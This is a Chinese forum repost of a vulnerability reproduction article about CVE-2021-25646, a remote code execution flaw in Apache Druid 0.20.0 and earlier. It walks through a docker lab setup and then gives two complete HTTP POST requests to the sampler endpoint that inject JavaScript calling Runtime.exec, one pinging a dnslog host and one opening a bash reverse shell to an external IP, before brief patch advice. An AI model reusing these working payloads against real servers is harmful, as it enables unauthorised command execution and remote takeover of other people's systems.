搜索

[20506] 2021-02-05_【CVE-2021-25646附PoC】ApacheDruid远程代码执行漏洞

文档创建者：s7ckTeam
浏览次数：61
最后更新：2025-01-18
2021-02-05_【CVE-2021-25646附PoC】ApacheDruid远程代码执行漏洞 【 C V E - 2 0 2 1 - 2 5 6 4 6   |   附 P o C 】 A p a c h e   D r u i d   远 程 代 码 执 行 漏 洞 K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 2 - 0 5 以 下 文 章 来 源 于 渗 透 X i a o 白 帽   ， 作 者 S u P e j k j 0 x 0 1   简 介 简 介                 A p a c h e   D r u i d 是 美 国 阿 帕 奇 软 件 （ A p a c h e ） 基 金 会 的 一 款 使 用 J a v a 语 言 编 写 的 、 面 向 列 的 开 源 分 布 式 数 据 库 。                 A p a c h e   D r u i d   0 . 2 0 . 0 和 更 早 的 版 本 存 在 访 问 控 制 错 误 漏 洞 ， 该 漏 洞 允 许 经 过 身 份 验 证 的 用 户 强 制 D r u i d 运 行 用 户 提 供 的 J a v a S c r i p t 代 码 ， 并 执 行 服 务 器 进 程 特 权 的 代 码 。 0 x 0 2   环 境 搭 建 环 境 搭 建 直 接 d o c k e r 拉 取 环 境 环 境 搭 建 成 功 访 问 是 这 个 酱 紫 渗 透 渗 透 X i a o 白 帽 白 帽   . 积 硅 步 以 致 千 里 ， 积 怠 惰 以 致 深 渊 ！ d o c k e r   p u l l   f o k k o d r i e s p r o n g / d o c k e r - d r u i d   # 拉 取 镜 像 d o c k e r   r u n   - - r m   - i   - p   8 8 8 8 : 8 8 8 8     f o k k o d r i e s p r o n g / d o c k e r - d r u i d   # 启 动 镜 像 h t t p : / / 1 9 2 . 1 6 8 . 4 6 . 1 3 1 : 8 8 8 8
脚 本 检 测 （ 萌 新 写 的 太 烂 就 不 放 出 来 了 ） 0 x 0 3   漏 洞 复 现 漏 洞 复 现 这 里 利 用 D N S l o g 检 测 是 否 可 以 执 行 命 令 ， 附 上 P o C ： P O S T   / d r u i d / i n d e x e r / v 1 / s a m p l e r ? f o r = f i l t e r   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 4 6 . 1 3 1 : 8 8 8 8 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 5 . 0 A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   5 5 6 O r i g i n :   h t t p : / / 1 9 2 . 1 6 8 . 4 6 . 1 3 1 : 8 8 8 8 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / 1 9 2 . 1 6 8 . 4 6 . 1 3 1 : 8 8 8 8 / u n i f i e d - c o n s o l e . h t m l { " t y p e " : " i n d e x " , " s p e c " : { " t y p e " : " i n d e x " , " i o C o n f i g " : { " t y p e " : " i n d e x " , " f i r e h o s e " : { " t y p e " : " l o c a l " , " b a s e D i r " : " / o p t / " , " f i l t e r " : " " } } , " d a t a S c h e m a " : { " d a t a S o u r c e " : " s a m p l e " , " p a r s e r " : { " t y p e " " f u n c t i o n " : " f u n c t i o n ( v a l u e ) { r e t u r n   j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( ' p i n g   y l q m 0 0 . d n s l o g . c n ' ) } " , " d i m e n s i o n " : " a d d e d " , " " : { " e n a b l e d " : " t r u e " } } } } } , " s a m p l e r C o n f i g " : { " n u m R o w s " : 5 0 0 , " t i m e o u t M s " : 1 5 0 0 0 } }
反 弹 s h e l l （ 直 接 将 p i n g 命 令 换 成 反 弹 s h e l l 的 命 令 就 可 以 ） 直 接 上 图 P O S T   / d r u i d / i n d e x e r / v 1 / s a m p l e r ? f o r = f i l t e r   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 4 6 . 1 3 1 : 8 8 8 8 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 5 . 0 A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   6 0 6 O r i g i n :   h t t p : / / 1 9 2 . 1 6 8 . 4 6 . 1 3 1 : 8 8 8 8 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / 1 9 2 . 1 6 8 . 4 6 . 1 3 1 : 8 8 8 8 / u n i f i e d - c o n s o l e . h t m l { " t y p e " : " i n d e x " , " s p e c " : { " t y p e " : " i n d e x " , " i o C o n f i g " : { " t y p e " : " i n d e x " , " f i r e h o s e " : { " t y p e " : " l o c a l " , " b a s e D i r " : " / o p t / " , " f i l t e r " : " " } } , " d a t a S c h e m a " : { " d a t a S o u r c e " : " s a m p l e " , " p a r s e r " : { " t y p e " " f u n c t i o n " : " f u n c t i o n ( v a l u e ) { r e t u r n   j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( ' / b i n / b a s h   - c   $ @ | b a s h   0   e c h o   b a s h   - i   > & / d e v / t c p / 1 3 8 . 1 2 8 . 2 1 4 . 5 7 / 6 6 6 6   0 > & 1 ' ) } " , " d i m e n s i o n " : " a d d e d " , " " : { " e n a b l e d " : " t r u e " } } } } } , " s a m p l e r C o n f i g " : { " n u m R o w s " : 5 0 0 , " t i m e o u t M s " : 1 5 0 0 0 } }
填 写 目 录 开 启 代 理 抓 包 修 改 数 据 反 弹 s h e l l 成 功 q u i c k s t a r t / t u t o r i a l / w i k i t i c k e r - 2 0 1 5 - 0 9 - 1 2 - s a m p l e d . j s o n . g z
0 x 0 4   安 全 建 议 安 全 建 议 建 议 广 大 用 户 及 时 更 新 A p a c h e   D r u i d ， 下 载 链 接 为 ： h t t p s : / / d r u i d . a p a c h e . o r g / d o w n l o a d s . h t m l h t t p s : / / g i t h u b . c o m / a p a c h e / d r u i d / r e l e a s e s / t a g / d r u i d - 0 . 2 0 . 1
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理